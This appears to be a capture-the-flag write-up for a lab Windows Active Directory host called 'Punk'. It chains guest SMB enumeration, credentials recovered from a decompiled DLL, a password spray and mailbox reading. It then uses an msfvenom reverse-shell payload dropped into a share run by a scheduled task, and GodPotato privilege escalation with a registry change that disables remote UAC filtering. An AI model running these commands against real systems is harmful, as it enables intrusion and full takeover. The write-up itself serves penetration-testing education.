Overview
Punk is a Windows Active Directory box for arakusa.corp that chains together a lot of small, realistic mistakes rather than one flashy bug. Guest SMB access on a dev share exposes a DLL with hardcoded service credentials, one of which doubles as an FTP login. FTP in turn leaks a mailbox password, and reading the mailbox over IMAP turns up internal emails about a leaked default password (Arakusa2025) and, more usefully, operational details about a scheduled task that blindly executes whatever gets dropped into the prod share as Cyber2077.exe. A password spray with the leaked default confirms a valid account, and from there it’s a straight line: drop a renamed msfvenom payload into prod, let the scheduled task run it for a user shell, then use SeImpersonatePrivilege with GodPotato to get SYSTEM, add the user to local Administrators, disable remote UAC token filtering, and finish with a full admin session over smbexec.py. The whole path is really a lesson in credential reuse and trusting a scheduled task with world-writable input.
Enumeration
Nmap Scan
We started with an Nmap scan to identify running services and open ports on the target.
Punk ➜ nmap -sC -sV 10.0.49.38

Nmap Scan
| Port | Service | Description |
|---|---|---|
| 21 | FTP | Microsoft ftpd on a Windows host. Supports anonymous and named-user login. |
| 25 | SMTP | MailEnable SMTP daemon 10.53, same as port 587. Offers AUTH LOGIN. |
| 80 | HTTP | Microsoft IIS 10.0. TRACE method enabled. |
| 110 | POP3 | MailEnable POP3 server. Supports USER/PASS, UIDL, TOP. |
| 135 | MSRPC | Microsoft Windows RPC endpoint mapper. |
| 139 | NetBIOS-SSN | Microsoft Windows netbios-ssn. |
| 143 | IMAP | MailEnable IMAP daemon. Supports AUTH LOGIN and AUTH CRAM-MD5, IDLE, IMAP4rev1. |
| 445 | SMB | microsoft-ds, version not fingerprinted by this scan. |
| 587 | SMTP | MailEnable SMTP daemon 10.53 (submission port), same config as port 25. |
Open ports and services found by the Nmap scan
The wide mail service footprint (SMTP/POP3/IMAP all from MailEnable) alongside SMB and FTP suggested this box doubles as a mail server, which made the mailboxes a priority target once we had any valid credentials.
Unauthenticated Enumeration
Without any credentials to start from, we began with unauthenticated enumeration against the target.
Checking Guest Access
Punk ➜ nxc smb 10.0.49.38 -u guest -p ''

Guest Access Validated
With guest access confirmed, we continued enumeration using that account.
Enumerate Users
We ran a RID brute-force to enumerate the local/domain users present on the system.
We saved the discovered usernames into a userlist for later use (e.g., password spraying).
Punk ➜ nxc smb 10.0.49.38 -u guest -p '' --rid-brute

Identified Users
Enumerate Shares
Next, we checked which shares the guest account could access. We found guest has access to the dev share.
Punk ➜ nxc smb 10.0.49.38 -u guest -p '' --shares

Discovered Share
Dev Share
We downloaded every file from the share so we could reverse-engineer the DLL it contained.
Connect to Share
Punk ➜ smbclient //10.0.49.38/dev -U Guest
Download Files
smb: \> prompt off
smb: \> mget *

Downloaded Files
Looking into OldCyber2077.dll
We used ILSpy to decompile the DLL.
Punk ➜ ilspy OldCyber2077.dll

Discovered Hardcoded Credentials
We found the following hardcoded credentials:
nightftp:Silverhand2077#
`snmp-user-admin:dsabih231D22d@@lk77``
FTP Enumeration
Since the first credential’s username referenced FTP, we tried it against the FTP server next.
Logging in
We successfully authenticated to the FTP server and could see files available for download.
Punk ➜ ftp 10.0.49.38
Connected to 10.0.49.38.
220 Microsoft FTP Service
Name (10.0.49.38:n0xshell): nightftp
331 Password required
Password:

Successfully Logged In
Downloading Files
We downloaded every file present on the FTP server.
ftp> prompt off
ftp> mget *

Downloaded Files
Reviewing Log Files
Among the downloaded logs and an info.txt file, one log contained credentials:
- logs_data_2025-10-01_12-00-01.txt

Discovered Credentials
The new credentials:
[email protected]:Imp0ssibl3tol3akth!son3
IMAP Enumeration
We used these credentials against the IMAP service on port 110 (technically POP3’s port, since the service here was reached over raw IMAP commands via netcat).
# Setup Connection
Punk ➜ nc -Cv 10.0.49.38 110
# Provide Username
USER [email protected]
# Provide Password
PASS Imp0ssibl3tol3akth!son3
# List Inboxes
LIST

Interaction IMAP
Dump Inbox 1
The first message was a GIF attachment, which wasn’t useful to us.
RETR 1

GIF Attacement
Dump Inbox 2
The second message had a base64-encoded body, which we decoded below.
RETR 2

Base64 Encoded Message
Base64 Decode
Punk ➜ echo -n 'VGVhbSwNCiANClRoZXJlIGhhcyBiZWVuIGEgcHVibGljIGxlYWsgdGhpcyB5ZWFyIHRo
YXQgYWZmZWN0cyBkZWZhdWx0IGNyZWRlbnRpYWxzIG9uIG11bHRpcGxlIHZlbmRvciBk
ZXZpY2VzIGFuZCBzZXJ2aWNlcy4gRWZmZWN0aXZlIGltbWVkaWF0ZWx5LCAqKmV2ZXJ5
b25lIG11c3QgY2hhbmdlIGFueSBkZWZhdWx0IHBhc3N3b3JkcyoqIG9uIHRoZSBzeXN0
ZW1zIGFuZCBhcHBsaWFuY2VzIHlvdSBtYW5hZ2UuDQogDQpJbiBwYXJ0aWN1bGFyLCBw
bGVhc2UgcmVwbGFjZSBhbnkgdXNlIG9mIHRoZSBkZWZhdWx0IHBhc3N3b3JkICoqQXJh
a3VzYTIwMjUqKiB3aXRoIGEgdW5pcXVlLCBzdHJvbmcgcGFzc3dvcmQgYW5kIGRvY3Vt
ZW50IHRoZSBjaGFuZ2UgaW4gdGhlIHRpY2tldGluZyBzeXN0ZW0uIEZvY3VzIGZpcnN0
IG9uOg0KLSBOZXR3b3JrIGRldmljZXMgKHN3aXRjaGVzLCByb3V0ZXJzLCBmaXJld2Fs
bHMpDQotIEZpbGUgc2hhcmVzIGFuZCBiYWNrdXBzDQotIFNlcnZpY2UgYWNjb3VudHMg
ZXhwb3NlZCB0byB0aGUgbmV0d29yaw0KIA0KQ29uZmlybSBjb21wbGV0aW9uIGluIHRo
ZSAjaXQtb3BzIGNoYW5uZWwgb3IgcmVwbHkgdG8gdGhpcyBlbWFpbCBvbmNlIHlvdSBo
YXZlIGNvbXBsZXRlZCB0aGUgY2hhbmdlcyBmb3IgeW91ciBzY29wZS4NCiANClRoYW5r
cywNCkVyaWMNCkNUTw0KYXJha3VzYS5jb3Jw
' |base64 -d

Message Decoded
The decoded message revealed a default password, Arakusa2025, which we tested after reviewing Inbox 3.
Dump Inbox 3
RETR 3

Base64 Encoded Body
Decode
Punk ➜ echo -n 'SGkgdGVhbSwNCiANCkZvbGxvd2luZyByZWNlbnQgZmluZGluZ3MsIHBsZWFzZ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fi
bGVkIGFuZCBkb2N1bWVudCB0aGUgY2hhbmdlLg0KIA0KSWYgeW91IGNhbm5vdCByZWFj
aCB0aGUgaG9zdCBvciBuZWVkIGVsZXZhdGVkIHJpZ2h0cywgZXNjYWxhdGUgdG8gbWUg
aW1tZWRpYXRlbHkuIERvIG5vdCBzaW1wbHkgZGVsZXRlIHRoZSBmaWxlIHdpdGhvdXQg
ZGlzYWJsaW5nIHRoZSBleGVjdXRpb24gbWVjaGFuaXNtIMOi4oKs4oCdIHRoYXQgd2ls
bCBsZWF2ZSB0aGUgc3lzdGVtIGluIGEgbm9pc3ksIHVuc3RhYmxlIHN0YXRlLg0KIA0K
VGhhbmtzLA0KQWxhbg0KU2VuaW9yIFN5c3RlbXMgRW5naW5lZXINCmFyYWt1c2EuY29y
cA==' |base64 -d

Decoded Message
The decoded message describes:
- Remove
Cyber2077.exefrom theprodshare. The binary must be deleted from the shared folder to prevent further execution. - Disable the service/scheduled job that automatically scans the prod share and executes that binary. If the service stays active after the file is deleted, it will keep running against a missing file and may produce misleading logs or restart attempts the execution trigger has to be removed too.
This turned out to be the key to initial access later on: it told us a scheduled task on the host executes whatever is named Cyber2077.exe in the prod share.
Password Spray
Using the default password found during IMAP enumeration, we sprayed it against the userlist gathered earlier from the RID brute-force.
NetExec Password Spray
Punk ➜ nxc smb 10.0.49.38 -u users.list -p 'Arakusa2025' --continue-on-success

Identified Account
Authenticated Share Enumeration
This gave us a valid account, alan:Arakusa2025, but neither RDP nor WinRM was open. So we used these credentials to enumerate shares instead.
Punk ➜ nxc smb 10.0.49.38 -u alan -p 'Arakusa2025' -d arakusa.corp --shares

Share RW Access
Alan has read/write access to prod exactly the share the leaked email said the scheduled task monitors.
Exploitation
From Inbox 3, we knew a scheduled task on the host runs a binary named Cyber2077.exe whenever it appears in the prod share. Since alan has write access to that share, we could:
- Create a malicious
.exe(reverse shell payload). - Upload it as
Cyber2077.exe. - Let the scheduled task execute it and gain user-level access.
Create Reverse Shell
We used msfvenom (Metasploit) to generate the payload.
# Generate the reverse shell payload
Punk ➜ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.66.0.33 LPORT=4444 -f exe -o rev.exe
# Rename to match the file the scheduled task expects
Punk ➜ cp rev.exe cyber2077.exe

Generated Reverse Shell
Upload Executable
# Log in to the prod share
Punk ➜ smbclient //10.0.49.38/prod -U alan
# Upload the payload
smb: \> put cyber2077.exe
# Catch the reverse shell once the scheduled task runs it
Punk ➜ penelope -p 4444 -i ronin66

Gained Shell
The scheduled task picked up and ran our uploaded binary, giving us a shell user-level access gained.
Post-Enumeration
We checked which privileges the resulting shell’s user, svc_v, holds:
C:\Windows\System32>whoami /priv

Identified Privilege Tokens
svc_v holds SeImpersonatePrivilege a strong signal that a Potato-family privilege escalation exploit will work, since it lets us impersonate tokens obtained via a local privileged RPC/COM trigger.
Post-Exploitation
Since this is a Windows 11 host, we used GodPotato, the Potato-suite variant that works reliably on newer Windows versions (older variants such as RottenPotato or JuicyPotato have limited success there).
GodPotato couldn’t give us a direct reverse shell in this context, so we used it to run commands as NT AUTHORITY\SYSTEM instead and build up access step by step.
Add Alan to the Administrators Group
c:\temp>.\GodPotato-NET4.exe -cmd "net localgroup administrators alan /add"

Alan Added Administratord Group
Disable Remote UAC Token Filtering
Being a local (non-domain) administrator, alan would normally still get a filtered, non-elevated token over the network (remote UAC token filtering) which blocks tools like smbexec.py from using his admin rights remotely.
We disabled this filtering using the SYSTEM access from GodPotato:
c:\temp>.\GodPotato-NET4.exe -cmd "cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f"

Disabled UAC
Login as Administrator
With alan now a local admin and token filtering disabled, we authenticated with smbexec.py for a full administrative session.
Punk ➜ smbexec.py alan:'Arakusa2025'@10.0.49.38

Administrative shell Obtained
We now have administrative-level access on the target.

